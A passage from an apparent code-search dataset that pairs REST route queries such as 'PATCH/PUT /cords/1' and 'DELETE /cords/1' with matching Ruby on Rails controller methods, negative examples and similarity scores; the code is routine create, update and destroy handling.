"def create\n @datoscontacto = Datoscontacto.new(params[:datoscontacto])\n\n respond_to do |format|\n if @datoscontacto.save\n format.html { redirect_to @datoscontacto, notice: 'Datoscontacto was successfully created.' }\n format.json { render json: @datoscontacto, status: :created, location: @datoscontacto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @datoscontacto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dnc_params\n params.require(:dnc).permit(:terrid, :number, :street, :name, :publisher, :date, :notes, :terrtype, :redirid)\n end",
"def create\n @diapo = current_church.diapos.build(params[:diapo])\n\n respond_to do |format|\n if @diapo.save\n format.html { redirect_to @diapo, notice: 'Diapo was successfully created.' }\n format.json { render json: @diapo, status: :created, location: @diapo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @diapo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n channel = Channel.create!(channel_params)\n joined = ChannelJoined.create!(user_id: params[:user_id], channel_id: channel.id)\n json_response(channel)\n end",
"def create\n @otg_crypst = OtgCrypst.new(otg_crypst_params)\n\n respond_to do |format|\n if @otg_crypst.save\n format.html { redirect_to @otg_crypst, notice: 'Otg crypst was successfully created.' }\n format.json { render :show, status: :created, location: @otg_crypst }\n else\n format.html { render :new }\n format.json { render json: @otg_crypst.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n client= Client.new\n client.cedula= params[:cedula]\n client.sector= params[:sector]\n client.nombre= params[:nombre]\n client.telefono= params[:telefono]\n client.pagina= params[:pagina]\n client.direccion= params[:direccion]\n if client.save\n render(json: client, status: 201 , location: client)\n else \n render(json: client.errors, status: 422)\n end\n end",
"def create\n @socio = Socio.new(params[:socio])\n\n respond_to do |format|\n if @socio.save\n format.html { redirect_to @socio, :notice => 'Socio cadastrado com sucesso.' }\n format.json { render :json => @socio, :status => :created, :location => @socio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @socio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def data_to_api(snack_name, snack_location, snack_optional)\n RestClient.post ENV['NERDERY_API'], { name: snack_name,\n location: snack_location,\n optional: snack_optional\n }.to_json, content_type: :json\n end",
"def create\n @dco_resource = DcoResource.new(dco_resource_params)\n\n respond_to do |format|\n if @dco_resource.save\n format.html { redirect_to @dco_resource, notice: 'Dco resource was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dco_resource }\n else\n format.html { render action: 'new' }\n format.json { render json: @dco_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cso = Cso.new(params[:cso])\n\n respond_to do |format|\n if @cso.save\n format.html { redirect_to @cso, notice: 'Cso was successfully created.' }\n format.json { render json: @cso, status: :created, location: @cso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trnodo = Trnodo.new(params[:trnodo])\n\n respond_to do |format|\n if @trnodo.save\n format.html { redirect_to @trnodo, notice: 'Trnodo was successfully created.' }\n format.json { render json: @trnodo, status: :created, location: @trnodo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trnodo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sacco = Sacco.new(sacco_params)\n\n respond_to do |format|\n if @sacco.save\n format.html { redirect_to @sacco, notice: 'Sacco was successfully created.' }\n format.json { render :show, status: :created, location: @sacco }\n else\n format.html { render :new }\n format.json { render json: @sacco.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n render json: Dish.create(dish_params)\n end"
] |
[
"0.6071463",
"0.5900635",
"0.57675284",
"0.5660247",
"0.5635626",
"0.5607491",
"0.56025517",
"0.55710894",
"0.5524103",
"0.54735994",
"0.5470642",
"0.5372055",
"0.53504753",
"0.5346607",
"0.5324415",
"0.53165525",
"0.5264942",
"0.52073807",
"0.5206942",
"0.51935554",
"0.5187717",
"0.5183914",
"0.5177052",
"0.5152217",
"0.51433307",
"0.5140883",
"0.51400054",
"0.51373106",
"0.5133889",
"0.5109114",
"0.50870275",
"0.5079013",
"0.5046582",
"0.5045781",
"0.5037809",
"0.5036083",
"0.5025488",
"0.50214773",
"0.5008024",
"0.500722",
"0.5005191",
"0.499388",
"0.49863547",
"0.49850228",
"0.4982806",
"0.49765128",
"0.49750128",
"0.49611777",
"0.49540663",
"0.49531892",
"0.49505764",
"0.49436095",
"0.49330148",
"0.4922354",
"0.49185964",
"0.49115986",
"0.49115843",
"0.49055603",
"0.49038973",
"0.49016535",
"0.48982996",
"0.4893981",
"0.48873353",
"0.48872578",
"0.4885841",
"0.48831403",
"0.48828548",
"0.48821402",
"0.4878628",
"0.48754105",
"0.48744538",
"0.4870642",
"0.4870642",
"0.48690966",
"0.48684812",
"0.48679247",
"0.4862724",
"0.4862392",
"0.48598194",
"0.48506123",
"0.484918",
"0.48465568",
"0.4841954",
"0.4841693",
"0.48392907",
"0.48387405",
"0.48333883",
"0.48321256",
"0.48287484",
"0.48282886",
"0.48241878",
"0.4821626",
"0.48176932",
"0.48174483",
"0.48106304",
"0.4809026",
"0.48079",
"0.4803168",
"0.4798603",
"0.47976592"
] |
0.741328
|
0
|
PATCH/PUT /cords/1 PATCH/PUT /cords/1.json
|
def update
respond_to do |format|
if @cord.update(cord_params)
format.html { redirect_to @cord, notice: t('cords.update.success') }
format.json { render :show, status: :ok, location: @cord }
else
format.html { render :edit }
format.json { render json: @cord.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @clonet = Clonet.find(params[:id])\n\n respond_to do |format|\n if @clonet.update_attributes(params[:clonet])\n format.html { redirect_to @clonet, notice: 'Clonet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clonet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n respond_to do |format|\n if @cephalopod.update(cephalopod_params)\n format.html { redirect_to @cephalopod, notice: 'Cephalopod was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cephalopod.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @crust = Crust.find(params[:id])\n\n respond_to do |format|\n if @crust.update_attributes(params[:crust])\n format.html { redirect_to @crust, notice: 'Crust was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crust.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n respond_to do |format|\n if @couch.update(couch_params)\n format.html { redirect_to @couch, notice: 'Couche was successfully updated.' }\n format.json { render :show, status: :ok, location: @couch }\n else\n format.html { render :edit }\n format.json { render json: @couch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @aucrecord.update(aucrecord_params)\n format.html { redirect_to @aucrecord, notice: 'Aucrecord was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @aucrecord.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @cerc = Cerc.find(params[:id])\n\n if @cerc.update_attributes(params[:cerc])\n head :no_content\n else\n render json: @cerc.errors, status: :unprocessable_entity\n end\n end",
"def update!(**args)\n @client = args[:client] if args.key?(:client)\n @list_update_requests = args[:list_update_requests] if args.key?(:list_update_requests)\n end",
"def update\n respond_to do |format|\n if @couch.update(couch_params)\n format.html { redirect_to @couch, notice: 'Couch was successfully updated.' }\n format.json { render :show, status: :ok, location: @couch }\n else\n format.html { render :edit }\n format.json { render json: @couch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_patchcord\n @patchcord = Patchcord.find(params[:id])\n end",
"def put!\n request! :put\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n respond_to do |format|\n if @command.update(command_params)\n format.json { render :json => @command }\n else\n format.json { render json: @command.errors, status: 401 }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cl.update(cl_params)\n format.html { redirect_to @cl, notice: 'Cl was successfully updated.' }\n format.json { render :show, status: :ok, location: @cl }\n else\n format.html { render :edit }\n format.json { render json: @cl.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n put :update\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n client=Client.find_by_id params[:id]\n if client!= nil\n client.cedula=params[:cedula] ? params[:cedula]: client.cedula\n client.sector=params[:sector] ? params[:sector]: client.sector\n client.nombre=params[:nombre] ? params[:nombre]: client.nombre\n client.telefono=params[:telefono] ? params[:telefono]: client.telefono\n client.pagina=params[:pagina] ? params[:pagina]: client.pagina\n client.direccion=params[:direccion] ? params[:direccion]: client.direccion\n if client.save\n render(json: client, status: 201)\n end \n else\n render(json: client.errors, status: 404)\n end \n end",
"def update\n @chronicle = Chronicle.find(params[:id])\n\n respond_to do |format|\n if @chronicle.update_attributes(params[:chronicle])\n format.html { redirect_to @chronicle, notice: 'Chronicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @camp.update(camp_params)\n format.html { redirect_to @camp, notice: \"#{@camp.name} was revised in the system.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.jdson { render json: @camp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cordinator.update(cordinator_params)\n format.html { redirect_to @cordinator, notice: 'El cordinador se ha actualizado correctamente' }\n format.json { render :show, status: :ok, location: @cordinator }\n else\n format.html { render :edit }\n format.json { render json: @cordinator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clint.update(clint_params)\n format.html { redirect_to @clint, notice: 'Clint was successfully updated.' }\n format.json { render :show, status: :ok, location: @clint }\n else\n format.html { render :edit }\n format.json { render json: @clint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reqcargo.update(reqcargo_params)\n format.html { redirect_to @reqcargo, notice: 'Reqcargo was successfully updated.' }\n format.json { render :show, status: :ok, location: @reqcargo }\n else\n format.html { render :edit }\n format.json { render json: @reqcargo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cocoon_example.update(cocoon_example_params)\n format.html { redirect_to @cocoon_example, notice: 'Cocoon example was successfully updated.' }\n format.json { render :show, status: :ok, location: @cocoon_example }\n else\n format.html { render :edit }\n format.json { render json: @cocoon_example.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n id = shift_argument\n validate_arguments!\n dataclip_reference = options[:dataclip]\n uri = URI(\"#{base_url}/#{id}\")\n req = Net::HTTP::Patch.new(uri.path)\n body = prepare_body(dataclip_reference)\n execute_and_print(uri, req, body)\n end",
"def update\n respond_to do |format|\n if @cto.update(cto_params)\n format.html { redirect_to @cto, notice: 'Cto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n respond_to do |format|\n if @api_v1_concern.update(api_v1_concern_params)\n format.html { redirect_to @api_v1_concern, notice: 'Concern was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_concern }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_concern.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, **args); end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def patch(path, params)\n time(\"PATCH #{path}\") { Cloudflarer.new.patch(path, params) }\n end",
"def update\n @clue = Clue.find(params[:id])\n\n respond_to do |format|\n if @clue.update_attributes(params[:clue])\n format.html { redirect_to @clue, notice: 'Clue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @clue = Clue.find(params[:id])\n\n respond_to do |format|\n if @clue.update_attributes(params[:clue])\n format.html { redirect_to @clue, notice: 'Clue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @circle_id = args[:circle_id] if args.key?(:circle_id)\n @metadata = args[:metadata] if args.key?(:metadata)\n end",
"def update\n @conductor = Conductor.find(params[:id])\n\n respond_to do |format|\n if @conductor.update_attributes(params[:conductor])\n format.html { redirect_to @conductor, notice: 'Conductor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conductor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n conn = @client.authorized_connection(url: @client.object_api_url)\n res = conn.patch do |req|\n req.headers['Content-Type'] = \"application/json\"\n req.url resource_uri\n req.body = raw.to_json\n end\n if res.success?\n data = JSON.parse(res.body)\n self.class.new(data, @client)\n else\n nil\n end\n end",
"def update\n respond_to do |format|\n if @consorciot.update(consorciot_params)\n format.html { redirect_to @consorciot, notice: 'Consorciot was successfully updated.' }\n format.json { render :show, status: :ok, location: @consorciot }\n else\n format.html { render :edit }\n format.json { render json: @consorciot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cordinate.update(cordinate_params)\n format.html { redirect_to @cordinate, notice: 'Cordinate was successfully updated.' }\n format.json { render :show, status: :ok, location: @cordinate }\n else\n format.html { render :edit }\n format.json { render json: @cordinate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_object_by_id\r\n\t VCR.use_cassette('edit_object') do\r\n\t\t cred=JSON.parse(YAML::load_file('test/fixtures/credential.yml').to_json)\r\n\t\t json = JSON.parse(File.read(\"test/fixtures/edit_specimen.json\"))\r\n\t\t id = json[\"id\"]\r\n\t\t json[\"id\"] = \"\" #id cannot be updated\r\n\t\t result=CordraRestClient::DigitalObject.update(API_URL, id, json, cred[\"uc_1\"])\r\n\r\n\t\t #check that the result is saved\r\n\t\t assert_equal 200, result[:code]\r\n\t\t assert_equal \"OK\", result[\"message\"]\r\n\t\tend\r\n\t end",
"def update\n @crowd = Crowd.find(params[:id])\n\n respond_to do |format|\n if @crowd.update_attributes(params[:crowd])\n format.html { redirect_to @crowd, notice: 'Crowd was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crowd.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(*args)\n put(*args)\n end",
"def update(*args)\n put(*args)\n end",
"def update\n respond_to do |format|\n if @crate.update(crate_params)\n format.html { redirect_to tenant_crates_path(@tenant), notice: 'Crate was successfully updated.' }\n format.json { render :show, status: :ok, location: @crate }\n else\n format.html { render :edit }\n format.json { render json: @crate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end",
"def patch\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def update\n respond_to do |format|\n if @circular.update(circular_params)\n format.html { redirect_to @circular, notice: 'Circular was successfully updated.' }\n format.json { render :show, status: :ok, location: @circular }\n else\n format.html { render :edit }\n format.json { render json: @circular.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @chronicle.update(chronicle_params)\n format.html { redirect_to @chronicle, notice: t('flash_message.notice.successfully_updated', model: Chronicle.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cog.update(cog_params)\n format.html { redirect_to @cog, notice: 'Cog was successfully updated.' }\n format.json { render :show, status: :ok, location: @cog }\n else\n format.html { render :edit }\n format.json { render json: @cog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lyric.update(lyric_params)\n format.html { redirect_to @lyric, notice: 'Lyric was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lyric.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @capitol.update(capitol_params)\n format.html { redirect_to root_path, notice: 'Capitol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @capitol.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trein_consul_comercial.update(trein_consul_comercial_params)\n format.html { redirect_to @trein_consul_comercial, notice: 'Trein consul comercial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trein_consul_comercial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n contract = Contract.find_by_id(params[:id])\n (head :unauthorized unless contract) and return\n \n # try to update the attributes\n if contract.update_attributes(edit_contract_params)\n render json: contract\n else\n render json: { errors: contract.error.full_messages}\n end\n end",
"def update\n respond_to do |format|\n if @dco_resource.update(dco_resource_params)\n format.html { redirect_to @dco_resource, notice: 'Dco resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dco_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, opts = {})\n request(:patch, path, opts).body\n end",
"def update\n @circle = Circle.find(params[:id])\n\n respond_to do |format|\n if @circle.update_attributes(params[:circle])\n format.html { redirect_to @circle, :notice => 'Circle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @circle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @client.update(client_params)\n render json: @client\n end",
"def update\n @commtent1 = Commtent1.find(params[:id])\n\n respond_to do |format|\n if @commtent1.update_attributes(params[:commtent1])\n format.html { redirect_to @commtent1, notice: 'Commtent1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commtent1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @catched.update(catched_params)\n format.html { redirect_to @catched, notice: 'Catched was successfully updated.' }\n format.json { render :show, status: :ok, location: @catched }\n else\n format.html { render :edit }\n format.json { render json: @catched.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @circle = Circle.find(params[:id])\n\n respond_to do |format|\n if @circle.update_attributes(params[:circle])\n format.html { redirect_to @circle, notice: 'Circle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @circle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @circle = Circle.find(params[:id])\n\n respond_to do |format|\n if @circle.update_attributes(params[:circle])\n format.html { redirect_to @circle, notice: 'Circle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @circle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lyric = Lyric.find(params[:id])\n\n respond_to do |format|\n if @lyric.update_attributes(params[:lyric])\n format.html { redirect_to @lyric, notice: 'Lyric was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lyric.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @goody = Goody.find(params[:id])\n\n respond_to do |format|\n if @goody.update_attributes(params[:goody])\n format.html { redirect_to @goody, notice: 'Goody was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @goody.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n\n @client.redirect_urls << client_params[:add_redirect_url] if client_params[:add_redirect_url]\n \n @client.app_ids << BSON::ObjectId.new.to_s if client_params[:add_app_id]\n \n \n @client.versioned_update({\"redirect_urls\" => 1, \"app_ids\" => 1})\n\n if @client.op_success?\n render \"show\"\n else\n render \"edit\"\n end\n \n end",
"def update\n @clasp = Clasp.find(params[:id])\n\n respond_to do |format|\n if @clasp.update_attributes(params[:clasp])\n format.html { redirect_to @clasp, notice: 'Clasp was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clasp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @response = args[:response] if args.key?(:response)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n respond_to do |format|\n if @cosmetic.update(cosmetic_params)\n format.html { redirect_to @cosmetic, notice: 'Cosmetic was successfully updated.' }\n format.json { render :show, status: :ok, location: @cosmetic }\n else\n format.html { render :edit }\n format.json { render json: @cosmetic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @curso = Curso.find(params[:id])\n\n respond_to do |format|\n if @curso.update_attributes(params[:curso])\n format.html { redirect_to(:back) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @curso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @caso.update_attributes(caso_params)\n format.html { redirect_to @caso, notice: 'Caso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\nlogger.debug \"update discipline: \"+@discipline.inspect\n discipline_params.each_pair do |property,value|\n @discipline.send(property+'=',value)if @discipline.respond_to?(property+'=')\n end\n @discipline.updater_id = current_user\n if @discipline.save\n set_discipline\n #respond_with @discipline\n render json: @discipline, status: :ok\n else\n ##render json: @discipline.errors, status: :unprocessable_entity\n respond_with @discipline.errors, status: :unprocessable_entity\n end\n end",
"def update\n @climate = Climate.find(params[:id])\n\n respond_to do |format|\n if @climate.update_attributes(params[:climate])\n format.html { redirect_to climates_path, notice: 'Climate was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @climate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@patron = Patron.find(params[:id])\n\n respond_to do |format|\n if @patron.update_attributes(params[:patron])\n flash[:notice] = t('controller.successfully_updated', :model => t('activerecord.models.patron'))\n format.html { redirect_to patron_url(@patron) }\n format.json { head :no_content }\n else\n prepare_options\n format.html { render :action => \"edit\" }\n format.json { render :json => @patron.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n #Finding the specific chore where the id matches the one we pass in with the body\n @v1_chore = Chore.where(id: params[:id]).first\n #Here we're checking if we have user_id in our body, and if we do, we'll change the selected chore's properties\n #with the parameters of the body, we go through the specific group to our specific chore with the path\n if v1_chore_params[:user_id]\n @v1_chore.user_id = params[:user_id]\n @v1_chore.assigned = true\n if @v1_chore.save\n render :show, status: :ok\n end\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n end\n end",
"def update(args)\n builder.update_rest(type, ref, args, username, password)\n self.elements(true)\n end",
"def update attrs\n put '', :body => {self.class.api_name => self.class.opts_to_query_opts(attrs)}\n end",
"def update\n respond_to do |format|\n if @coat.update(coat_params)\n format.html { redirect_to @coat, notice: 'Coat was successfully updated.' }\n format.json { render :show, status: :ok, location: @coat }\n else\n format.html { render :edit }\n format.json { render json: @coat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\t\t\n\t\trespond_to do |format|\n \t\t if @update.update(updates_params)\n \t\tformat.html { redirect_to @update, notice: 'Update modified, doctor.' }\n \t\tformat.json { render :show, status: :ok, location: @update }\n \t\telse\n \t\tformat.html { render :edit }\n \t\tformat.json { render json: @update.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n\tend",
"def update\n @squadron_document = SquadronDocument.find(params[:id])\n\n respond_to do |format|\n if @squadron_document.update_attributes(params[:squadron_document])\n format.html { redirect_to @squadron_document, :notice => 'Squadron document was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @squadron_document.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cateroty.update(cateroty_params)\n format.html { redirect_to @cateroty, notice: 'Cateroty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cateroty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n if @cso.update_attributes(params[:cso])\n format.html { redirect_to @cso, notice: 'Cso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @client_id = args[:client_id] if args.key?(:client_id)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update\n begin\n # Find note\n reply = Reply.find(params[:id]) \n # Authenticate\n if reply.user_id == current_user.id and reply.update_attributes(params[:reply])\n render :json => reply\n else\n error \"Failed to update the note\" \n end\n rescue ActiveRecord::RecordNotFound\n error \"Can't access the club or the paper\"\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n respond_to do |format|\n if @cof.update(cof_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cof.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end"
] |
[
"0.6662169",
"0.61981195",
"0.61946225",
"0.6183679",
"0.613617",
"0.6061696",
"0.60593885",
"0.602346",
"0.6003275",
"0.59925306",
"0.597432",
"0.5956292",
"0.59457254",
"0.59287316",
"0.5891744",
"0.5873117",
"0.5867895",
"0.58673173",
"0.58598673",
"0.58540976",
"0.585066",
"0.58449036",
"0.5777355",
"0.5776367",
"0.5776367",
"0.577307",
"0.5762635",
"0.57506865",
"0.5749236",
"0.5741239",
"0.5736908",
"0.5730682",
"0.5727768",
"0.57236636",
"0.57208604",
"0.5697272",
"0.56964856",
"0.56935096",
"0.56921166",
"0.56876266",
"0.56876266",
"0.5687285",
"0.568459",
"0.56817335",
"0.56809795",
"0.5673516",
"0.56680113",
"0.56679314",
"0.565823",
"0.56528234",
"0.56528234",
"0.56487435",
"0.56133014",
"0.56076044",
"0.56047213",
"0.560396",
"0.5593608",
"0.55871034",
"0.5586247",
"0.55822545",
"0.55798614",
"0.5571232",
"0.55688477",
"0.5565943",
"0.5565468",
"0.556502",
"0.55643827",
"0.5559239",
"0.5555468",
"0.55500406",
"0.5545019",
"0.5545019",
"0.55432564",
"0.55399114",
"0.5539517",
"0.5539088",
"0.5536756",
"0.5529275",
"0.5529275",
"0.55276716",
"0.5524825",
"0.55233294",
"0.5522055",
"0.55200523",
"0.55198824",
"0.5516304",
"0.5514612",
"0.5512712",
"0.55126345",
"0.5502205",
"0.5500279",
"0.54986703",
"0.5491999",
"0.549187",
"0.5489998",
"0.54890007",
"0.5488472",
"0.54875785",
"0.54857904",
"0.54857904"
] |
0.7007568
|
0
|
DELETE /cords/1 DELETE /cords/1.json
|
def destroy
@cord.destroy
respond_to do |format|
format.html { redirect_to cords_url, notice: t('cords.destroy.success') }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
